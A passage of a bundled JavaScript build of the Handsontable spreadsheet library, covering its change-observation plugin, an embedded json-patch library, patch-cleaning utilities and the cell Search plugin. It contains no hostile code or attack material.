plugin instance. */ }, { key: "destroy", value: function destroy() { if (this.observer) { this.observer.destroy(); this._deletePublicApi(); } _get(_getPrototypeOf(ObserveChanges.prototype), "destroy", this).call(this); } /** * Expose plugins methods to the core. * * @private */ }, { key: "_exposePublicApi", value: function _exposePublicApi() { var _this5 = this; var hot = this.hot; hot.pauseObservingChanges = function () { return _this5.observer.pause(); }; hot.resumeObservingChanges = function () { return _this5.observer.resume(); }; hot.isPausedObservingChanges = function () { return _this5.observer.isPaused(); }; } /** * Deletes all previously exposed methods. * * @private */ }, { key: "_deletePublicApi", value: function _deletePublicApi() { var hot = this.hot; delete hot.pauseObservingChanges; delete hot.resumeObservingChanges; delete hot.isPausedObservingChanges; } }]); return ObserveChanges; }(_base.default); var _default = ObserveChanges; exports.default = _default; (0, _plugins.registerPlugin)('observeChanges', ObserveChanges); /***/ }), /* 743 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _jsonPatchDuplex = _interopRequireDefault(__webpack_require__(744)); var _localHooks = _interopRequireDefault(__webpack_require__(68)); var _object = __webpack_require__(2); var _utils = __webpack_require__(745); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class DataObserver * @plugin ObserveChanges */ var DataObserver = /*#__PURE__*/ function () { function DataObserver(observedData) { _classCallCheck(this, DataObserver); /** * Observed source data. * * @type {Array} */ this.observedData = null; /** * JsonPatch observer. * * @type {Object} */ this.observer = null; /** * Flag which determines if observer is paused or not. Paused observer doesn't emit `change` hooks. * * @type {Boolean} * @default false */ this.paused = false; this.setObservedData(observedData); } /** * Set data to observe. * * @param {*} observedData */ _createClass(DataObserver, [{ key: "setObservedData", value: function setObservedData(observedData) { var _this = this; if (this.observer) { _jsonPatchDuplex.default.unobserve(this.observedData, this.observer); } this.observedData = observedData; this.observer = _jsonPatchDuplex.default.observe(this.observedData, function (patches) { return _this.onChange(patches); }); } /** * Check if observer was paused. * * @returns {Boolean} */ }, { key: "isPaused", value: function isPaused() { return this.paused; } /** * Pause observer (stop emitting all detected changes). */ }, { key: "pause", value: function pause() { this.paused = true; } /** * Resume observer (emit all detected changes). */ }, { key: "resume", value: function resume() { this.paused = false; } /** * JsonPatch on change listener. * * @private * @param {Array} patches An array of object passed from jsonpatch. */ }, { key: "onChange", value: function onChange(patches) { this.runLocalHooks('change', (0, _utils.cleanPatches)(patches)); } /** * Destroy observer instance. */ }, { key: "destroy", value: function destroy() { _jsonPatchDuplex.default.unobserve(this.observedData, this.observer); this.observedData = null; this.observer = null; } }]); return DataObserver; }(); (0, _object.mixin)(DataObserver, _localHooks.default); var _default = DataObserver; exports.default = _default; /***/ }), /* 744 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /*! * https://github.com/Starcounter-Jack/JSON-Patch * json-patch-duplex.js version: 0.5.7 * (c) 2013 Joachim Wester * MIT license */ var __extends = void 0 && (void 0).__extends || function (d, b) { for (var p in b) { if (b.hasOwnProperty(p)) d[p] = b[p]; } function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var OriginalError = Error; var jsonpatch; (function (jsonpatch) { var _objectKeys = function _objectKeys(obj) { if (_isArray(obj)) { var keys = new Array(obj.length); for (var k = 0; k < keys.length; k++) { keys[k] = "" + k; } return keys; } if (Object.keys) { return Object.keys(obj); } var keys = []; for (var i in obj) { if (obj.hasOwnProperty(i)) { keys.push(i); } } return keys; }; function _equals(a, b) { switch (_typeof(a)) { case 'undefined': //backward compatibility, but really I think we should return false case 'boolean': case 'string': case 'number': return a === b; case 'object': if (a === null) return b === null; if (_isArray(a)) { if (!_isArray(b) || a.length !== b.length) return false; for (var i = 0, l = a.length; i < l; i++) { if (!_equals(a[i], b[i])) return false; } return true; } var bKeys = _objectKeys(b); var bLength = bKeys.length; if (_objectKeys(a).length !== bLength) return false; for (var i = 0; i < bLength; i++) { if (!_equals(a[i], b[i])) return false; } return true; default: return false; } } /* We use a Javascript hash to store each function. Each hash entry (property) uses the operation identifiers specified in rfc6902. In this way, we can map each patch operation to its dedicated function in efficient way. */ /* The operations applicable to an object */ var objOps = { add: function add(obj, key) { obj[key] = this.value; return true; }, remove: function remove(obj, key) { delete obj[key]; return true; }, replace: function replace(obj, key) { obj[key] = this.value; return true; }, move: function move(obj, key, tree) { var temp = { op: "_get", path: this.from }; apply(tree, [temp]); apply(tree, [{ op: "remove", path: this.from }]); apply(tree, [{ op: "add", path: this.path, value: temp.value }]); return true; }, copy: function copy(obj, key, tree) { var temp = { op: "_get", path: this.from }; apply(tree, [temp]); apply(tree, [{ op: "add", path: this.path, value: temp.value }]); return true; }, test: function test(obj, key) { return _equals(obj[key], this.value); }, _get: function _get(obj, key) { this.value = obj[key]; } }; /* The operations applicable to an array. Many are the same as for the object */ var arrOps = { add: function add(arr, i) { arr.splice(i, 0, this.value); return true; }, remove: function remove(arr, i) { arr.splice(i, 1); return true; }, replace: function replace(arr, i) { arr[i] = this.value; return true; }, move: objOps.move, copy: objOps.copy, test: objOps.test, _get: objOps._get }; /* The operations applicable to object root. Many are the same as for the object */ var rootOps = { add: function add(obj) { rootOps.remove.call(this, obj); for (var key in this.value) { if (this.value.hasOwnProperty(key)) { obj[key] = this.value[key]; } } return true; }, remove: function remove(obj) { for (var key in obj) { if (obj.hasOwnProperty(key)) { objOps.remove.call(this, obj, key); } } return true; }, replace: function replace(obj) { apply(obj, [{ op: "remove", path: this.path }]); apply(obj, [{ op: "add", path: this.path, value: this.value }]); return true; }, move: objOps.move, copy: objOps.copy, test: function test(obj) { return JSON.stringify(obj) === JSON.stringify(this.value); }, _get: function _get(obj) { this.value = obj; } }; var observeOps = { add: function add(patches, path) { var patch = { op: "add", path: path + escapePathComponent(this.name), value: this.object[this.name] }; patches.push(patch); }, 'delete': function _delete(patches, path) { var patch = { op: "remove", path: path + escapePathComponent(this.name) }; patches.push(patch); }, update: function update(patches, path) { var patch = { op: "replace", path: path + escapePathComponent(this.name), value: this.object[this.name] }; patches.push(patch); } }; function escapePathComponent(str) { if (str.indexOf('/') === -1 && str.indexOf('~') === -1) return str; return str.replace(/~/g, '~0').replace(/\//g, '~1'); } function _getPathRecursive(root, obj) { var found; for (var key in root) { if (root.hasOwnProperty(key)) { if (root[key] === obj) { return escapePathComponent(key) + '/'; } else if (_typeof(root[key]) === 'object') { found = _getPathRecursive(root[key], obj); if (found != '') { return escapePathComponent(key) + '/' + found; } } } } return ''; } function getPath(root, obj) { if (root === obj) { return '/'; } var path = _getPathRecursive(root, obj); if (path === '') { throw new OriginalError("Object not found in root"); } return '/' + path; } var beforeDict = []; var Mirror = function () { function Mirror(obj) { this.observers = []; this.obj = obj; } return Mirror; }(); var ObserverInfo = function () { function ObserverInfo(callback, observer) { this.callback = callback; this.observer = observer; } return ObserverInfo; }(); function getMirror(obj) { for (var i = 0, ilen = beforeDict.length; i < ilen; i++) { if (beforeDict[i].obj === obj) { return beforeDict[i]; } } } function getObserverFromMirror(mirror, callback) { for (var j = 0, jlen = mirror.observers.length; j < jlen; j++) { if (mirror.observers[j].callback === callback) { return mirror.observers[j].observer; } } } function removeObserverFromMirror(mirror, observer) { for (var j = 0, jlen = mirror.observers.length; j < jlen; j++) { if (mirror.observers[j].observer === observer) { mirror.observers.splice(j, 1); return; } } } function unobserve(root, observer) { observer.unobserve(); } jsonpatch.unobserve = unobserve; function deepClone(obj) { if (_typeof(obj) === "object") { return JSON.parse(JSON.stringify(obj)); //Faster than ES5 clone - http://jsperf.com/deep-cloning-of-objects/5 } else { return obj; //no need to clone primitives } } function observe(obj, callback) { var patches = []; var root = obj; var observer; var mirror = getMirror(obj); if (!mirror) { mirror = new Mirror(obj); beforeDict.push(mirror); } else { observer = getObserverFromMirror(mirror, callback); } if (observer) { return observer; } observer = {}; mirror.value = deepClone(obj); if (callback) { observer.callback = callback; observer.next = null; var intervals = this.intervals || [100, 1000, 10000, 60000]; if (intervals.push === void 0) { throw new OriginalError("jsonpatch.intervals must be an array"); } var currentInterval = 0; var dirtyCheck = function dirtyCheck() { generate(observer); }; var fastCheck = function fastCheck() { clearTimeout(observer.next); observer.next = setTimeout(function () { dirtyCheck(); currentInterval = 0; observer.next = setTimeout(slowCheck, intervals[currentInterval++]); }, 0); }; var slowCheck = function slowCheck() { dirtyCheck(); if (currentInterval == intervals.length) currentInterval = intervals.length - 1; observer.next = setTimeout(slowCheck, intervals[currentInterval++]); }; if (typeof window !== 'undefined') { if (window.addEventListener) { window.addEventListener('mousedown', fastCheck); window.addEventListener('mouseup', fastCheck); window.addEventListener('keydown', fastCheck); } else { document.documentElement.attachEvent('onmousedown', fastCheck); document.documentElement.attachEvent('onmouseup', fastCheck); document.documentElement.attachEvent('onkeydown', fastCheck); } } observer.next = setTimeout(slowCheck, intervals[currentInterval++]); } observer.patches = patches; observer.object = obj; observer.unobserve = function () { generate(observer); clearTimeout(observer.next); removeObserverFromMirror(mirror, observer); if (mirror.observers.length === 0) { beforeDict.splice(beforeDict.indexOf(mirror), 1); } if (typeof window !== 'undefined') { if (window.removeEventListener) { window.removeEventListener('mousedown', fastCheck); window.removeEventListener('mouseup', fastCheck); window.removeEventListener('keydown', fastCheck); } else { document.documentElement.detachEvent('onmousedown', fastCheck); document.documentElement.detachEvent('onmouseup', fastCheck); document.documentElement.detachEvent('onkeydown', fastCheck); } } }; mirror.observers.push(new ObserverInfo(callback, observer)); return observer; } jsonpatch.observe = observe; function generate(observer) { var mirror; for (var i = 0, ilen = beforeDict.length; i < ilen; i++) { if (beforeDict[i].obj === observer.object) { mirror = beforeDict[i]; break; } } _generate(mirror.value, observer.object, observer.patches, ""); if (observer.patches.length) { apply(mirror.value, observer.patches); } var temp = observer.patches; if (temp.length > 0) { observer.patches = []; if (observer.callback) { observer.callback(temp); } } return temp; } jsonpatch.generate = generate; // Dirty check if obj is different from mirror, generate patches and update mirror function _generate(mirror, obj, patches, path) { var newKeys = _objectKeys(obj); var oldKeys = _objectKeys(mirror); var changed = false; var deleted = false; //if ever "move" operation is implemented here, make sure this test runs OK: "should not generate the same patch twice (move)" for (var t = oldKeys.length - 1; t >= 0; t--) { var key = oldKeys[t]; var oldVal = mirror[key]; if (obj.hasOwnProperty(key)) { var newVal = obj[key]; if (_typeof(oldVal) == "object" && oldVal != null && _typeof(newVal) == "object" && newVal != null) { _generate(oldVal, newVal, patches, path + "/" + escapePathComponent(key)); } else { if (oldVal != newVal) { changed = true; patches.push({ op: "replace", path: path + "/" + escapePathComponent(key), value: deepClone(newVal) }); } } } else { patches.push({ op: "remove", path: path + "/" + escapePathComponent(key) }); deleted = true; // property has been deleted } } if (!deleted && newKeys.length == oldKeys.length) { return; } for (var t = 0; t < newKeys.length; t++) { var key = newKeys[t]; if (!mirror.hasOwnProperty(key)) { patches.push({ op: "add", path: path + "/" + escapePathComponent(key), value: deepClone(obj[key]) }); } } } var _isArray; if (Array.isArray) { _isArray = Array.isArray; } else { _isArray = function _isArray(obj) { return obj.push && typeof obj.length === 'number'; }; } //3x faster than cached /^\d+$/.test(str) function isInteger(str) { var i = 0; var len = str.length; var charCode; while (i < len) { charCode = str.charCodeAt(i); if (charCode >= 48 && charCode <= 57) { i++; continue; } return false; } return true; } /// Apply a json-patch operation on an object tree function apply(tree, patches, validate) { var result = false, p = 0, plen = patches.length, patch, key; while (p < plen) { patch = patches[p]; p++; // Find the object var path = patch.path || ""; var keys = path.split('/'); var obj = tree; var t = 1; //skip empty element - http://jsperf.com/to-shift-or-not-to-shift var len = keys.length; var existingPathFragment = undefined; while (true) { key = keys[t]; if (validate) { if (existingPathFragment === undefined) { if (obj[key] === undefined) { existingPathFragment = keys.slice(0, t).join('/'); } else if (t == len - 1) { existingPathFragment = patch.path; } if (existingPathFragment !== undefined) { this.validator(patch, p - 1, tree, existingPathFragment); } } } t++; if (key === undefined) { if (t >= len) { result = rootOps[patch.op].call(patch, obj, key, tree); // Apply patch break; } } if (_isArray(obj)) { if (key === '-') { key = obj.length; } else { if (validate && !isInteger(key)) { throw new JsonPatchError("Expected an unsigned base-10 integer value, making the new referenced value the array element with the zero-based index", "OPERATION_PATH_ILLEGAL_ARRAY_INDEX", p - 1, patch.path, patch); } key = parseInt(key, 10); } if (t >= len) { if (validate && patch.op === "add" && key > obj.length) { throw new JsonPatchError("The specified index MUST NOT be greater than the number of elements in the array", "OPERATION_VALUE_OUT_OF_BOUNDS", p - 1, patch.path, patch); } result = arrOps[patch.op].call(patch, obj, key, tree); // Apply patch break; } } else { if (key && key.indexOf('~') != -1) key = key.replace(/~1/g, '/').replace(/~0/g, '~'); // escape chars if (t >= len) { result = objOps[patch.op].call(patch, obj, key, tree); // Apply patch break; } } obj = obj[key]; } } return result; } jsonpatch.apply = apply; function compare(tree1, tree2) { var patches = []; _generate(tree1, tree2, patches, ''); return patches; } jsonpatch.compare = compare; var JsonPatchError = function (_super) { __extends(JsonPatchError, _super); function JsonPatchError(message, name, index, operation, tree) { _super.call(this, message); this.message = message; this.name = name; this.index = index; this.operation = operation; this.tree = tree; } return JsonPatchError; }(OriginalError); jsonpatch.JsonPatchError = JsonPatchError; jsonpatch.Error = JsonPatchError; /** * Recursively checks whether an object has any undefined values inside. */ function hasUndefined(obj) { if (obj === undefined) { return true; } if (typeof obj == "array" || _typeof(obj) == "object") { for (var i in obj) { if (hasUndefined(obj[i])) { return true; } } } return false; } /** * Validates a single operation. Called from `jsonpatch.validate`. Throws `JsonPatchError` in case of an error. * @param {object} operation - operation object (patch) * @param {number} index - index of operation in the sequence * @param {object} [tree] - object where the operation is supposed to be applied * @param {string} [existingPathFragment] - comes along with `tree` */ function validator(operation, index, tree, existingPathFragment) { if (_typeof(operation) !== 'object' || operation === null || _isArray(operation)) { throw new JsonPatchError('Operation is not an object', 'OPERATION_NOT_AN_OBJECT', index, operation, tree); } else if (!objOps[operation.op]) { throw new JsonPatchError('Operation `op` property is not one of operations defined in RFC-6902', 'OPERATION_OP_INVALID', index, operation, tree); } else if (typeof operation.path !== 'string') { throw new JsonPatchError('Operation `path` property is not a string', 'OPERATION_PATH_INVALID', index, operation, tree); } else if ((operation.op === 'move' || operation.op === 'copy') && typeof operation.from !== 'string') { throw new JsonPatchError('Operation `from` property is not present (applicable in `move` and `copy` operations)', 'OPERATION_FROM_REQUIRED', index, operation, tree); } else if ((operation.op === 'add' || operation.op === 'replace' || operation.op === 'test') && operation.value === undefined) { throw new JsonPatchError('Operation `value` property is not present (applicable in `add`, `replace` and `test` operations)', 'OPERATION_VALUE_REQUIRED', index, operation, tree); } else if ((operation.op === 'add' || operation.op === 'replace' || operation.op === 'test') && hasUndefined(operation.value)) { throw new JsonPatchError('Operation `value` property is not present (applicable in `add`, `replace` and `test` operations)', 'OPERATION_VALUE_CANNOT_CONTAIN_UNDEFINED', index, operation, tree); } else if (tree) { if (operation.op == "add") { var pathLen = operation.path.split("/").length; var existingPathLen = existingPathFragment.split("/").length; if (pathLen !== existingPathLen + 1 && pathLen !== existingPathLen) { throw new JsonPatchError('Cannot perform an `add` operation at the desired path', 'OPERATION_PATH_CANNOT_ADD', index, operation, tree); } } else if (operation.op === 'replace' || operation.op === 'remove' || operation.op === '_get') { if (operation.path !== existingPathFragment) { throw new JsonPatchError('Cannot perform the operation at a path that does not exist', 'OPERATION_PATH_UNRESOLVABLE', index, operation, tree); } } else if (operation.op === 'move' || operation.op === 'copy') { var existingValue = { op: "_get", path: operation.from, value: undefined }; var error = jsonpatch.validate([existingValue], tree); if (error && error.name === 'OPERATION_PATH_UNRESOLVABLE') { throw new JsonPatchError('Cannot perform the operation from a path that does not exist', 'OPERATION_FROM_UNRESOLVABLE', index, operation, tree); } } } } jsonpatch.validator = validator; /** * Validates a sequence of operations. If `tree` parameter is provided, the sequence is additionally validated against the object tree. * If error is encountered, returns a JsonPatchError object * @param sequence * @param tree * @returns {JsonPatchError|undefined} */ function validate(sequence, tree) { try { if (!_isArray(sequence)) { throw new JsonPatchError('Patch sequence must be an array', 'SEQUENCE_NOT_AN_ARRAY'); } if (tree) { tree = JSON.parse(JSON.stringify(tree)); //clone tree so that we can safely try applying operations apply.call(this, tree, sequence, true); } else { for (var i = 0; i < sequence.length; i++) { this.validator(sequence[i], i); } } } catch (e) { if (e instanceof JsonPatchError) { return e; } else { throw e; } } } jsonpatch.validate = validate; })(jsonpatch || (jsonpatch = {})); if (true) { exports.apply = jsonpatch.apply; exports.observe = jsonpatch.observe; exports.unobserve = jsonpatch.unobserve; exports.generate = jsonpatch.generate; exports.compare = jsonpatch.compare; exports.validate = jsonpatch.validate; exports.validator = jsonpatch.validator; exports.JsonPatchError = jsonpatch.JsonPatchError; exports.Error = jsonpatch.Error; } /***/ }), /* 745 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.cleanPatches = cleanPatches; exports.parsePath = parsePath; var _array = __webpack_require__(3); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * Clean and extend patches from jsonpatch observer. * * @param {Array} patches * @returns {Array} */ function cleanPatches(patches) { var newOrRemovedColumns = []; /** * If observeChanges uses native Object.observe method, then it produces patches for length property. Filter them. * If path can't be parsed. Filter it. */ var cleanedPatches = (0, _array.arrayFilter)(patches, function (patch) { if (/[/]length/ig.test(patch.path)) { return false; } if (!parsePath(patch.path)) { return false; } return true; }); /** * Extend patches with changed cells coords */ cleanedPatches = (0, _array.arrayMap)(cleanedPatches, function (patch) { var coords = parsePath(patch.path); patch.row = coords.row; patch.col = coords.col; return patch; }); /** * Removing or adding column will produce one patch for each table row. * Leaves only one patch for each column add/remove operation. */ cleanedPatches = (0, _array.arrayFilter)(cleanedPatches, function (patch) { if (['add', 'remove'].indexOf(patch.op) !== -1 && !isNaN(patch.col)) { if (newOrRemovedColumns.indexOf(patch.col) !== -1) { return false; } newOrRemovedColumns.push(patch.col); } return true; }); newOrRemovedColumns.length = 0; return cleanedPatches; } /** * Extract coordinates from path where data was changed. * * @param {String} path Path describing where data was changed. * @returns {Object|null} Returns an object with `row` and `col` properties or `null` if path doesn't have necessary information. */ function parsePath(path) { var match = path.match(/^\/(\d+)\/?(.*)?$/); if (!match) { return null; } var _match = _slicedToArray(match, 3), row = _match[1], column = _match[2]; return { row: parseInt(row, 10), col: /^\d*$/.test(column) ? parseInt(column, 10) : column }; } /***/ }), /* 746 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _object = __webpack_require__(2); var _number = __webpack_require__(9); var _mixed = __webpack_require__(14); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } var DEFAULT_SEARCH_RESULT_CLASS = 'htSearchResult'; var DEFAULT_CALLBACK = function DEFAULT_CALLBACK(instance, row, col, data, testResult) { instance.getCellMeta(row, col).isSearchResult = testResult; }; var DEFAULT_QUERY_METHOD = function DEFAULT_QUERY_METHOD(query, value) { if ((0, _mixed.isUndefined)(query) || query === null || !query.toLowerCase || query.length === 0) { return false; } if ((0, _mixed.isUndefined)(value) || value === null) { return false; } return value.toString().toLowerCase().indexOf(query.toLowerCase()) !== -1; }; /** * @plugin Search * * @description * The search plugin provides an easy interface to search data across Handsontable. * * In order to enable search mechanism, {@link Options#search} option must be set to `true`. * * @example * ```js * // as boolean * search: true * // as a object with one or more options * search: { * callback: myNewCallbackFunction, * queryMethod: myNewQueryMethod, * searchResultClass: 'customClass' * } * * // Access to search plugin instance: * const searchPlugin = hot.getPlugin('search'); * * // Set callback programmatically: * searchPlugin.setCallback(myNewCallbackFunction); * // Set query method programmatically: * searchPlugin.setQueryMethod(myNewQueryMethod); * // Set search result cells class programmatically: * searchPlugin.setSearchResultClass(customClass); * ``` */ var Search = /*#__PURE__*/ function (_BasePlugin) { _inherits(Search, _BasePlugin); function Search(hotInstance) { var _this; _classCallCheck(this, Search); _this = _possibleConstructorReturn(this, _getPrototypeOf(Search).call(this, hotInstance)); /** * Function called during querying for each cell from the {@link DataMap}. * * @private * @type {Function} */ _this.callback = DEFAULT_CALLBACK; /** * Query function is responsible for determining whether a query matches the value stored in a cell. * * @private * @type {Function} */ _this.queryMethod = DEFAULT_QUERY_METHOD; /** * Class name added to each cell that belongs to the searched query. * * @private * @type {String} */ _this.searchResultClass = DEFAULT_SEARCH_RESULT_CLASS; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link AutoRowSize#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(Search, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().search; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } var searchSettings = this.hot.getSettings().search; this.updatePluginSettings(searchSettings); this.addHook('beforeRenderer', function () { return _this2.onBeforeRenderer.apply(_this2, arguments); }); _get(_getPrototypeOf(Search.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { var _this3 = this; var beforeRendererCallback = function beforeRendererCallback() { return _this3.onBeforeRenderer.apply(_this3, arguments); }; this.hot.addHook('beforeRenderer', beforeRendererCallback); this.hot.addHookOnce('afterRender', function () { _this3.hot.removeHook('beforeRenderer', beforeRendererCallback); }); _get(_getPrototypeOf(Search.prototype), "disablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(Search.prototype), "updatePlugin", this).call(this); } /** * Makes the query. * * @param {String} queryStr Value to be search. * @param {Function} [callback] Callback function performed on cells with values which matches to the searched query. * @param {Function} [queryMethod] Query function responsible for determining whether a query matches the value stored in a cell. * @returns {Object[]} Return an array of objects with `row`, `col`, `data` properties or empty array. */ }, { key: "query", value: function query(queryStr) { var _this4 = this; var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.getCallback(); var queryMethod = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : this.getQueryMethod(); var rowCount = this.hot.countRows(); var colCount = this.hot.countCols(); var queryResult = []; var instance = this.hot; (0, _number.rangeEach)(0, rowCount - 1, function (rowIndex) { (0, _number.rangeEach)(0, colCount - 1, function (colIndex) { var cellData = _this4.hot.getDataAtCell(rowIndex, colIndex); var cellProperties = _this4.hot.getCellMeta(rowIndex, colIndex); var cellCallback = cellProperties.search.callback || callback; var cellQueryMethod = cellProperties.search.queryMethod || queryMethod; var testResult = cellQueryMethod(queryStr, cellData); if (testResult) { var singleResult = { row: rowIndex, col: colIndex, data: cellData }; queryResult.push(singleResult); } if (cellCallback) { cellCallback(instance, rowIndex, colIndex, cellData, testResult); } }); }); return queryResult; } /** * Gets the callback function. * * @returns {Function} Return the callback function. */ }, { key: "getCallback", value: function getCallback() { return this.callback; } /** * Sets the callback function. This function will be called during querying for each cell. * * @param {Function} newCallback */ }, { key: "setCallback", value: function setCallback(newCallback) { this.callback = newCallback; } /** * Gets the query method function. * * @returns {Function} Return the query method. */ }, { key: "getQueryMethod", value: function getQueryMethod() { return this.queryMethod; } /** * Sets the query method function. The function is responsible for determining whether a query matches the value stored in a cell. * * @param {Function} newQueryMethod */ }, { key: "setQueryMethod", value: function setQueryMethod(newQueryMethod) { this.queryMethod = newQueryMethod; } /** * Gets search result cells class name. * * @returns {String} Return the cell class name. */ }, { key: "getSearchResultClass", value: function getSearchResultClass() { return this.searchResultClass; } /** * Sets search result cells class name. This class name will be added to each cell that belongs to the searched query. * * @param {String} newElementClass */ }, { key: "setSearchResultClass", value: function setSearchResultClass(newElementClass) { this.searchResultClass = newElementClass; } /** * Updates the settings of the plugin. * * @param {Object} searchSettings The plugin settings, taken from Handsontable configuration. * @private */ }, { key: "updatePluginSettings", value: function updatePluginSettings(searchSettings) { if ((0, _object.isObject)(searchSettings)) { if (searchSettings.searchResultClass) { this.setSearchResultClass(searchSettings.searchResultClass); } if (searchSettings.queryMethod) { this.setQueryMethod(searchSettings.queryMethod); } if (searchSettings.callback) { this.setCallback(searchSettings.callback); } } } /** * * The `beforeRenderer` hook callback. * * @private * @param {HTMLTableCellElement} TD The rendered `TD` element. * @param {Number} row Visual row index. * @param {Number} col Visual column index. * @param {String | Number} prop Column property name or a column index, if datasource is an array of arrays. * @param {String} value Value of the rendered cell. * @param {Object} cellProperties Object containing the cell's properties. */ }, { key: "onBeforeRenderer", value: function onBeforeRenderer(TD, row, col, prop, value, cellProperties) { // TODO: #4972 var className = cellProperties.className || []; var classArray = []; if (typeof className === 'string') { classArray = className.split(' '); } else { var _classArray; (_classArray = classArray).push.apply(_classArray, _toConsumableArray(className)); } if (this.isEnabled() && cellProperties.isSearchResult) { if (!classArray.includes(this.searchResultClass)) { classArray.push("".concat(this.searchResultClass)); } } else if (classArray.includes(this.searchResultClass)) { classArray.splice(classArray.indexOf(this.searchResultClass), 1); } cellProperties.className = classArray.join(' '); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(Search.prototype), "destroy", this).call(this); } }]); return Search; }(_base.default); (0, _plugins.registerPlugin)('search', Search); var _default = Search; exports.default = _default; /***/ }), /* 747 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _array = __webpack_require__(3); var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _feature = __webpack_require__(47); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof 